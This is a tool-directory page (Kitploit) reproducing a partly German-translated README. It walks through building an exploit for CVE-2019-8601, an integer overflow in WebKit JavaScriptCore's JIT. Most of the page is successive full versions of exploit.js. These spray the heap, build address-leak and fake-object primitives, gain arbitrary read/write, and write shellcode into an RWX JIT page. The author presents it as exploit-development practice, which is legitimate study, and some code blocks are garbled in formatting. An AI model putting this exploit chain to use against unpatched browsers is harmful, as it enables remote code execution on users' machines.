Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-8601 — Ausnutzen einer gepatchten Schwachstelle in JavaScriptCore | Kitploit
Tools/GitHubGitHub/badaccess11/cve-2019-8601
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-EntwicklungBinary-Exploitation
GitHubbadaccess11/cve-2019-8601

CVE-2019-8601

Ausnutzen einer gepatchten Schwachstelle in JavaScriptCore

Repository anzeigen
173vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Ausnutzung von CVE-2019-8601

Dies ist ein Exploit für eine WebKit-Schwachstelle, die ursprünglich von Fluoroacetate während des pwn2own-Wettbewerbs in Vancouver entdeckt wurde. Obwohl ich diesen Fehler nicht entdeckt habe, habe ich diesen Exploit geschrieben, um meine Exploit-Entwicklungsfähigkeiten zu üben. Der ursprüngliche Writeup für diesen Exploit befindet sich hier von der Zero Day Initiative. Dieser Writeup ist sehr gut und hat mir wesentlich geholfen, die Schwachstelle zu verstehen, aber er ist aus der Sicht einer Person geschrieben, die die Schwachstelle verifiziert. Ich stellte fest, dass einige wichtige Details fehlen, wenn man versucht, diesen Exploit von Grund auf zu entwickeln, und ich hoffe, einige der Lücken zu füllen, die der ZDI-Writeup übersehen hat, und praktische Fähigkeiten zu erlangen, wie man einen komplizierten Exploit von Grund auf entwickelt.

Schritte zur Ausnutzung

Diese Schritte dienen als Überblick, um eine beliebige Codeausführung innerhalb von JavaScriptCore (JSC), der JavaScript-Engine von WebKit, zu erreichen.

  • Die Schwachstelle identifizieren
  • Die Schwachstelle auslösen und einen Crash mit aktiviertem ASAN verursachen
  • Primitive leakAddr und fakeObj erhalten
  • Das Array-Butterfly korrumpieren, um Lese- und Schreibprimitive zu erreichen
  • Lese- und Schreibprimitive nutzen, um eine beliebige Codeausführung innerhalb von JSC zu erreichen

Identifizieren der Schwachstelle

Die ausgenutzte Schwachstelle ist ein Integer-Überlauf, der im Code auftritt, der vom DFG-Just-in-Time (JIT)-Compiler für WebKit erzeugt wird. Dies geschieht speziell in der Funktion compileNewArrayWithSpread. Diese Funktion wird aufgerufen, wenn Code, der die JavaScript Spread-Syntax verwendet, um ein neues Array zu erstellen, von DFG JIT-kompiliert wird.

compileNewArrayWithSpread

Im JIT-kompilierten Code wird zuerst die Größe des Arrays berechnet. Dies geschieht durch Addition der Länge jedes an den Array-Konstruktor übergebenen Arguments. Bei jeder Addition wird auf einen Überlauf der Größe geprüft. Danach wird die Funktion compileAllocateNewArray aufgerufen, wobei die in dieser Funktion berechnete Länge übergeben wird.

compileAllocateNewArrayWithSize

compileAllocateNewArray übergibt dann die zuvor berechnete Länge an emitAllocateButterfly.

emitAllocateButterfly

emitAllocateButterfly verschiebt dann die Größe um 3 Bits nach links, was einer Multiplikation mit 8 entspricht. Es gibt jedoch keine Prüfung auf einen Überlauf, sodass eine Zahl wie 0x20000001 auf 0x8 überlaufen kann.

Dieses C-Programm veranschaulicht diese Schwachstelle:

overflow-example2

overflow-example

Wir können diese Schwachstelle nutzen, um die JavaScript-Engine dazu zu bringen, zu glauben, wir hätten ein Array mit der Größe 0x20000001 allokiert, obwohl wir tatsächlich nur genug Platz für einen JSValue (8 Bytes) allokiert haben. Dies führt zu einem Lese- und Schreibprimitive außerhalb der Grenzen (OOB), das dann genutzt werden kann, um beliebiges Lesen/Schreiben und schließlich entfernte Codeausführung (RCE) zu erreichen.

  • Die Schwachstelle identifizieren

Auslösen der Schwachstelle mit ASAN

Um zu bestätigen, dass wir einen OOB-Zugriff haben, werden wir versuchen, diese Schwachstelle auf einem AddressSanitizer (ASAN)-Build von JSC auszulösen.

Dazu können wir im WebKit-Verzeichnis die folgenden Befehle ausführen:```bash Tools/Scripts/set-webkit-configuration --asan Tools/Scripts/build-jsc --jsc--only --debug

root@kitploit:~
Dies wird einen Debug-Build von JSC mit aktiviertem ASAN erstellen, der es uns ermöglicht zu überprüfen, ob wir die Schwachstelle erfolgreich ausgelöst haben oder nicht.

Hier ist die erste Iteration von exploit.js```javascript
function jitMe(array){
  return [...array]
}

let dummy = [1.1]
for(let i = 0; i < 200; i++){
  jitMe(dummy);
}

let a = []

let len = 0x20000001                                                                     

for(let i = 0; i < len; i++){
  a[i] = 1.1 
}

jitMe(a)

When running this I get the following error:

Program terminated with signal SIGKILL, Killed. The program no longer exists.

My guess was that too much memory was being consumed when trying to allocate such a large array. In order to confirm this, I added a breakpoint to the JITed code by adding a call to m_jit.breakpoint() inside of the compileNewArrayWithSpread which adds an int3 instruction to the JITed code.

After adding the breakpoint I found that it wasn't hit and then I decided to test a length of 0x20001. I then realized that the code wasn't even being compiled so I added more iterations to activate the DFG compiler```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array] }

let dummy = [1.1] for(let i = 0; i < 60; i++){ print(i) jitMe(dummy); }

let a = []

let len = 0x20000001

for(let i = 0; i < len; i++){ a[i] = 1.1 }

jitMe(a)

root@kitploit:~
Das Testen des Programms wie es ist führt immer noch zum SIGKILL, jedoch wird beim Testen mit einer kleineren Länge der Haltepunkt erreicht. An diesem Punkt scheint es mir immer noch, dass JSC nicht genügend Speicher hat, um dieses riesige Array zu verarbeiten.

Um damit umzugehen, habe ich beschlossen, ein kleineres `a`-Array zu allozieren und dann die Spread-Syntax zu verwenden, um es mehrmals beim Erstellen des korrupten Arrays zu nutzen, was zu folgendem exploit.js führt.```
function jitMe(array){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}

let dummy = [1.1]
for(let i = 0; i < 100; i++){
  print(i)
  jitMe(dummy);
}

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){
  a[i] = 1.1
}

jitMe(a)

Mit diesem Code konnten wir den Breakpoint erreichen, ohne einen SIGKILL zu erhalten! Wie so oft bringt die Behebung eines Problems ein weiteres hervor, und stattdessen erhielten wir einen SIGABORT... Mit dem gdb-Befehl bt können wir sehen, dass operationNewArrayWithSize aufgerufen wurde, was create aufrief.backtrace1

Es scheint seltsam, dass unser JIT-kompilierter Code operationNewArrayWithSize aufruft, und es muss daran liegen, dass der JIT-Code aus irgendeinem Grund einen langsamen Pfad zur JavaScript-Engine nehmen musste.

slowcases

Wir können in compileAllocateNewArrayWithSize sehen, dass es tatsächlich einen Bailout zu operationNewArrayWithSize gibt. Wir müssen dann herausfinden, warum wir genau zu dem langsamen Fall ausweichen.

Wir können sehen, dass in compileNewArrayWithSpread shouldConvertLargeSizeToArrayStorage auf false gesetzt ist und dass dieser langsame Pfad nicht im kompilierten Code enthalten sein wird.compileNewArrayWithSpread2

Daher ergibt es Sinn, dass der langsame Pfad irgendwo innerhalb von emitAllocateJSObject getroffen wird.

emitAllocateJSObject

emitAllocateJSObject ruft emitAllocateJSCell auf, welches wiederum emitAllocate aufruft.

emitAllocate

emitAllocateWithNonNullAllocator

Ohne Kenntnisse darüber, wie der WebKit-Allocator funktioniert, scheint dies ziemlich verwirrend. Daher habe ich beschlossen, ein paar Breakpoints hinzuzufügen und mit gdb Schritt für Schritt durchzugehen.

Nachdem wir einen Breakpoint in emitAllocateVariableSized erreicht haben, der von emitAllocateButterfly aufgerufen wurde, sehen wir den folgenden Assemblercode:assemblyEmitAllocateVariableSized

Dies entspricht dem vom JIT-Compiler ausgegebenen Code hier:emitAllocateVariableSized

Wir können sehen, dass die Allokationsgröße zu 0xf addiert und dann um 4 Bits nach rechts verschoben wird. Danach wird sie mit 0x1f6 verglichen, was dem langsamen Pfad-Zweig entspricht. Anschließend wird der Subspace-Allokator in rsi verschoben und basierend auf den durchgeführten Berechnungen in diesen Zeiger indiziert. Dann fahren wir mit dem Breakpoint fort, der in emitAllocateWithNonNullAllocator gesetzt wurde, und finden folgenden Assemblercode:

assemblyEmitAllocateWithNonNullAllocator.png

Dies entspricht dem vom JIT-Compiler ausgegebenen Code hier:emitAllocateWithNonNullAllocator

Nachdem wir einen Teil des Assemblers durchlaufen haben, haben wir etwas mehr Kontext darüber, was vor sich geht. Wenn wir zwei weitere Anweisungen durchlaufen, sehen wir, dass wir den Sprung nehmen werden:

stepFoward2

Betrachtet man den C++-Code, können wir daraus schließen, dass in der Freiliste dieses Allokators kein Platz mehr vorhanden ist, sodass er den pop-Pfad nehmen wird.

jumpPerformed

Nach Ausführung des Sprungs und der nächsten zwei Anweisungen sehen wir, dass der Sprung direkt ausgeführt wird, was dem Nehmen des langsamen Pfads entspricht. Wir nehmen den langsamen Pfad, weil das Geheimnis des Allokators mit dem verschlüsselten Kopf des Allokators XOR-verknüpft wird und das Ergebnis null ist. Ohne weitere Kenntnisse über den WebKit-Allokator ist es schwer, genau herauszufinden, was vor sich geht.

Obwohl ich gerne mehr Zeit damit verbringen würde, mehr über den WebKit-Allokator zu lernen, dachte ich mir, dass ein einfacherer Weg, dies anzugehen, darin bestehen würde, ein paar Ideen auszuprobieren und zu sehen, ob sie zu irgendwelchen anderen Ergebnissen führen, und von dort aus zu debuggen.

Eine der Ideen, die ich hatte, war, ein Array der Größe 0x10 zu allozieren, da dies in derselben Allokationsschrittgröße liegt wie unser Array, das die Schwachstelle auslösen wird, und dann jitMe mit einem Array der Größe 1 aufzurufen. Da wir die Adresse des Allokators kennen, können wir einen Watchpoint auf die Werte setzen, die zu Verzweigungen führen, und sehen, wann sie sich ändern. Ich hatte diese Idee, weil ich dachte, dass das Allozieren eines Objekts, das in derselben Schrittgröße liegt, den Allokator möglicherweise in einen anderen, interessanteren Zustand versetzt. Dies führt zur nächsten Iteration von exploit.js```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array] }

let dummy = [1.1] for(let i = 0; i < 80; i++){ print(i) jitMe(dummy); }

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){ a[i] = 1.1 }

let x = new Array(0x10) let b = [1.1]

jitMe(b)
jitMe(a)

root@kitploit:~
Das Testen dieser Idee hat funktioniert!![funktioniert!](https://assets.kitploit.com/production/public/readmes/15542/05b994ba516d740408e446b0607e913623d257b6a0994ff6da314c3cbd93c484.png)

Wir können sehen, dass wir beim Testen von `jitMe` auf dem kleinen Array nicht den langsamen Pfad nehmen! Dann setzen wir einen Watchpoint auf r8 + 0x18, um zu sehen, wann dieser Wert auf Null gesetzt wird.  Nachdem wir den Watchpoint getroffen haben, erhalten wir den folgenden Backtrace:

![watchpoint](https://assets.kitploit.com/production/public/readmes/15542/2ef7158ff792a2cdc12b883671e2ea9ab3d00893fb0c2a56f706040d3ba90563.png)

Basierend auf den Namen der Funktionen im Backtrace scheint eine Garbage Collection durchgeführt zu werden, die die Werte von `secret` und `scrambledHead` auf 0 setzt.

Basierend auf dem Call-Stack wissen wir, dass der Aufruf von `tryCreate` in `createFromArray` für das Auslösen der Garbage Collection verantwortlich ist.

![TryCreate](https://assets.kitploit.com/production/public/readmes/15542/13ab70debb8103d94fd04c6f4c352153f0096f797c089cc6bb957527842aca78.png)

Innerhalb von `createFromArray` wird auch eine Schleife durchlaufen, um auf jedes Element zuzugreifen. Wenn wir den Aufruf abfangen können, um den Allokator neu zu initialisieren, können wir verhindern, dass der langsame Pfad genommen wird.

exploit.js:``` 
function jitMe(array, reInitAllocator){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

let dummy = [1.1]
for(let i = 0; i < 80; i++){
  jitMe(dummy, dummy);
}

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){
  a[i] = 1.1
}

let b = [];
b.length = 1;

b.__defineGetter__(0, () => {
  let x = new Array(0x10)
})

jitMe(a, b)

Liefert uns einen ASAN-Fehler!asan

  • Die Schwachstelle auslösen und mit aktiviertem ASAN zum Absturz bringen

Heap Spraying, um überlappende Allokationen zu erhalten

Da wir die Schwachstelle nun zuverlässig auslösen können, möchten wir unser OOB-R/W-Primitiv nutzen, um den Speicher weiter zu beschädigen und ein Type-Confusion-Primitiv zu erhalten. Der erste Schritt besteht darin, JSC ohne ASAN neu zu kompilieren. Danach führen wir exploit.js erneut aus und erhalten den folgenden Absturz

sucess!

Wir können sehen, dass wir dies so korrumpieren, dass es auf 0x3ff299999999999a zeigt. Wenn wir das Python-struct-Modul verwenden, um den Gleitkommawert 1.1 in Bytes zu konvertieren, erhalten wir genau das, was wir erwarten: 0x3ff299999999999a struct

Da wir jetzt sehen können, dass wir eine Speicherkorruption erreicht haben, müssen wir etwas Heap-Manipulation durchführen, um dies in eine Type-Confusion umzuwandeln. Die Idee ist, eine Reihe von ArrayWithDoubles und ArrayWithContiguous zu sprayen und die Länge des butterfly zu korrumpieren, damit wir mit diesen Arrays einen Out-of-Bounds-Zugriff erreichen und eine Type-Confusion erhalten. Hoffentlich verhindert das Allozieren genügend vieler Arrays, dass der Out-of-Bounds-Zugriff wichtige Werte beschädigt.``` function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator] }

print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }

let b = []; b.length = 1;

let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }

// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }

b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b)

root@kitploit:~
Nachdem wir diese Arrays gesprayt haben, werden sie mit den Daten aus `badArray` überschrieben. Dies verhindert jedoch   einen Segfault, nachdem wir außerhalb der Grenzen schreiben. Um ein korrumpierbares Array zu erhalten, können wir drei weitere Arrays allozieren, ein ArrayWithDouble, gefolgt von einem ArrayWithContiguous, gefolgt von einem ArrayWithDouble. Sobald wir das Array korrumpieren, können wir ein Objekt in das ArrayWithContiguous schreiben und es form dem ArrayWithDouble lesen, um eine Typverwirrung zu erzeugen und eine Adresse zu lesen. Zusätzlich können wir eine Adresse in das zweite ArrayWithDouble schreiben und sie aus dem ArrayWithContiguous lesen, um ein gefälschtes Objekt an einer bestimmten Adresse zu erhalten.

Wenn wir dies implementieren, erhalten wir:```
function jitMe(array, reInitAllocator){                                                                                            
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
  jitMe(dummy, dummy);
}

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
  a[i] = -3.7206620809969885e-103;
}

let b = [];
b.length = 1;

let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
  arrayWithDouble[i] = 2.0286158381253047e-252
}

// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
  arrayWithContiguous[i] = {}
}

b.__defineGetter__(0, () => {
  for(let i = 0; i < 0x8000; i++){
    // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
    if(i % 2 == 0){
      // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
      sprayedArrays[i] = arrayWithDouble.slice();
    }else{
      sprayedArrays[i] = arrayWithContiguous.slice();
    }
  }
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice(); 
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice(); 

// helper arrays to do float and integer conversions
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)

function i2f(num) {
  i[0] = num % 0x100000000
  i[1] = num / 0x100000000
  return f[0]
}

function f2i(num) {
  f[0] = num
  return (i[1] * 0x100000000) + i[0]
}

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;

function leakAddr(obj) {
  sprayedArrays[1][0] = obj;
  let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
  return f2i(floatAddr);
}

function fakeObj(addr) {
  let floatAddr = i2f(addr)
  sprayedArrays[2][0] = floatAddr
  return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}

  • Holen der leakAddr- und fakeObj-Primitive

Erhalten von Arbitrary-Read-Write-Primitiven

Nachdem wir nun ein Fake-Objekt und eine Adress-auslesende Primitive haben, ist unser nächstes Ziel, Arbitrary-Read-Write-Primitive zu erreichen. Unsere allgemeine Strategie wird es sein, ein Fake-Objekt zu erstellen und den Butterfly auf den Butterfly eines ArrayWithDouble zu richten und in diesen Butterfly die Adresse zu schreiben, von der wir lesen oder schreiben wollen. Diese Technik wird im ursprünglichen Exploit verwendet und wird von saelo in diesem Artikel erwähnt.

Allerdings stieß ich, bevor ich dies tun konnte, auf einen unerwarteten Fehler. Ich stellte fest, dass das Auslösen der Sicherheitslücke nach dem Hinzufügen einer bestimmten Menge an Code zum Exploit nicht mehr funktionierte und ich den langsamen Pfad traf, was eine Out-of-Memory-Ausnahme verursachte.

Um dies zu beheben, fand ich heraus, dass ich den auszuführenden Code als Zeichenkette behandeln und die JavaScript-Funktion eval aufrufen konnte. Aus irgendeinem Grund konnte dies dieses Problem umgehen.

Um unser Fake-Objekt einzurichten, benötigen wir eine gültige Struktur-ID. Dazu spritzen wir eine Reihe von Struktur-IDs und setzen unsere auf eine vorhersagbare Struktur-ID.

Um den Butterfly des ArrayWithDouble zu überschreiben, müssen wir in der Lage sein, auf den Ziel-Butterfly zu indexieren. Dazu weisen wir weiterhin Arrays zu, bis die Adresse größer ist als die Adresse des mittleren Elements des gespritzten Struktur-ID-Arrays. Dann setzen wir den Butterfly unseres Fake-Objekts auf dieses mittlere Element und indexieren in den Butterfly des Fake-Objekts, um den Ziel-Butterfly zu setzen.``` function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator] }

print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }

let b = []; b.length = 1;

let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }

// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }

b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b) // read address from this array sprayedArrays[0] = arrayWithDouble.slice(); // insert address to read into this array and get fake objects from this array sprayedArrays[1] = arrayWithContiguous.slice(); // insert address of fake objects into this array sprayedArrays[2] = arrayWithDouble.slice();

//eval this code indirectly to prevent weird slow path crash let postTrigger = ` // helper arrays to do float and integer conversions var backingBuffer = new ArrayBuffer(8) var f = new Float64Array(backingBuffer) var i = new Uint32Array(backingBuffer)

function i2f(num) { i[0] = num % 0x100000000 i[1] = num / 0x100000000 return f[0] }

function f2i(num) { f[0] = num return (i[1] * 0x100000000) + i[0] }

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21 let LEAK_ARRAY_INDEX = 0 let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH; badArray[39] = NEW_LENGTH;

function leakAddr(obj) { sprayedArrays[1][0] = obj; let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1]; return f2i(floatAddr); }

function fakeObj(addr) { let floatAddr = i2f(addr) sprayedArrays[2][0] = floatAddr return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1] } / print("[+] Spraying structure IDs") // now predict structure id var sprayedStructureIDs = []

for(let x = 0; x < 0x400; x++){ let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700} struct['addNewStructureId'+x] = 0x1337 sprayedStructureIDs[x] = struct; }

print("[+] Setting up the fake object") // set up the fake object // subtrace 0x1000000000000 to account for JS boxing var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};

// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array // we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly var baseAddr = leakAddr(sprayedStructureIDs[0x80]) print("[+] Base address @ 0x" + baseAddr.toString(16)) var target = [] var targetAddr = leakAddr(target)

while(targetAddr < baseAddr){ target = [] targetAddr = leakAddr(target) }

// make sure target is ArrayWithDouble target[1] = 1.1

print("[+] Got a array with controllable butterfly") let fakeAddr = leakAddr(fakeHost) + 0x10 let hax = fakeObj(fakeAddr)

let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1; let targetButterflyPointer = f2i(hax[targetButterflyIndex]) print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16)) print("[+] target address @ 0x" + targetAddr.toString(16))

function setTargetButterfly(address) { hax[targetButterflyIndex] = i2f(address) }

print("[+] Got R/W primitive") `

eval(postTrigger)

root@kitploit:~
- [x] Array-Butterfly korrumpieren, um Lese- und Schreibprimitive zu erreichen

### Erreichen beliebiger Codeausführung innerhalb des Rendering-Prozesses

Jetzt, wo wir eine Lese-/Schreibprimitive haben, müssen wir nur noch eine JIT-Seite mit benutzerdefiniertem Shellcode überschreiben. Wir überschreiben die JIT-Seite, da dies wahrscheinlich der einzige Speicherbereich ist, der im Prozess als RWX gemappt wird. Obwohl wir stattdessen eine ROP-Kette und einen Stack-Pivot durchführen könnten, um einen Speicherbereich als RWX zu mappen und unseren Shellcode auszuführen, erweist sich dies als viel einfacher.

Um die JIT-Seite zu überschreiben, benötigen wir zunächst eine JIT-kompilierte Funktion. Ich habe mich entschieden, die Funktion `jitMe` zu verwenden, mit der wir die Schwachstelle ausgelöst haben. Von dort aus habe ich gdb verwendet, um den Zeigern in diesem Objekt zu folgen, bis ich den Speicher erreichte, der den JIT-kompilierten Code enthält. Es sei darauf hingewiesen, dass diese Zeiger-Offsets sehr spezifisch für diese Version von WebKit sind und sich wahrscheinlich in Zukunft ändern können. Darauf sollte man sich nicht verlassen, wenn man einen Exploit schreibt, der mit mehreren Versionen von WebKit funktionieren soll.

Nachdem wir den Zeiger auf die JIT-Seite gefunden haben, müssen wir Shellcode schreiben, um einen Taschenrechner zu öffnen. Dieser Shellcode ist hier zu sehen:

![shellcode](https://assets.kitploit.com/production/public/readmes/15542/13047bf6155bec046fb0362984aa037f26a004ffd86d5aee3984c91a9f6f7ec6.png)

Anschließend müssen wir den Shellcode assemblieren, die Bytes extrahieren und in Floats umwandeln, die wir mit unserer Lese-/Schreibprimitive schreiben können.

Daraus ergibt sich die endgültige exploit.js:```
function jitMe(array, reInitAllocator){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
  jitMe(dummy, dummy);
}

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
  a[i] = -3.7206620809969885e-103;
}

let b = [];
b.length = 1;

let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
  arrayWithDouble[i] = 2.0286158381253047e-252
}

// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
  arrayWithContiguous[i] = {}
}

b.__defineGetter__(0, () => {
  for(let i = 0; i < 0x8000; i++){
    // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
    if(i % 2 == 0){
      // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
      sprayedArrays[i] = arrayWithDouble.slice();
    }else{
      sprayedArrays[i] = arrayWithContiguous.slice();
    }
  }
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)


// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();

// helper arrays to do float and integer conversions

let postTrigger = `
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)

function i2f(num) {
  i[0] = num % 0x100000000
  i[1] = num / 0x100000000
  return f[0]
}

function f2i(num) {
  f[0] = num
  return (i[1] * 0x100000000) + i[0]
}

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;

function leakAddr(obj) {
  sprayedArrays[1][0] = obj;
  let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
  return f2i(floatAddr);
}

function fakeObj(addr) {
  let floatAddr = i2f(addr)
  sprayedArrays[2][0] = floatAddr
  return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
print("[+] Spraying structure IDs")
// now predict structure id
var sprayedStructureIDs = []

for(let x = 0; x < 0x400; x++){
  let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700}
  struct['addNewStructureId'+x] = 0x1337
  sprayedStructureIDs[x] = struct;
}

print("[+] Setting up the fake object")
// set up the fake object
// subtrace 0x1000000000000 to account for JS boxing
var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};

// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array
// we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly
var baseAddr = leakAddr(sprayedStructureIDs[0x80])
print("[+] Base address @ 0x" + baseAddr.toString(16))
var target = []
var targetAddr = leakAddr(target)

while(targetAddr < baseAddr){
  target = []
  targetAddr = leakAddr(target)
}

target[1] = 1.1

print("[+] Got a array with controllable butterfly")
let fakeAddr = leakAddr(fakeHost) + 0x10
let hax = fakeObj(fakeAddr)

let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1;
let targetButterflyPointer = f2i(hax[targetButterflyIndex])
print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16))
print("[+] target address @ 0x" + targetAddr.toString(16))

function setTargetButterfly(address) {
  hax[targetButterflyIndex] = i2f(address)
}

print("[+] Got R/W primitive")

var myJitAddr = leakAddr(jitMe)

setTargetButterfly(myJitAddr+24)
var ptr1 = f2i(target[0])
setTargetButterfly(ptr1+8)
var ptr2 = f2i(target[2])
setTargetButterfly(ptr2-8)
target[0]=1.1
setTargetButterfly(ptr2+16)
var rwx = f2i(target[0])

print("[+] RWX address @ 0x" + rwx.toString(16))
setTargetButterfly(rwx)
target[0] = 7.724899899490056e+228
target[1] = 1.3869658928112658e+219
target[2] = -1.4290575191402725e-37
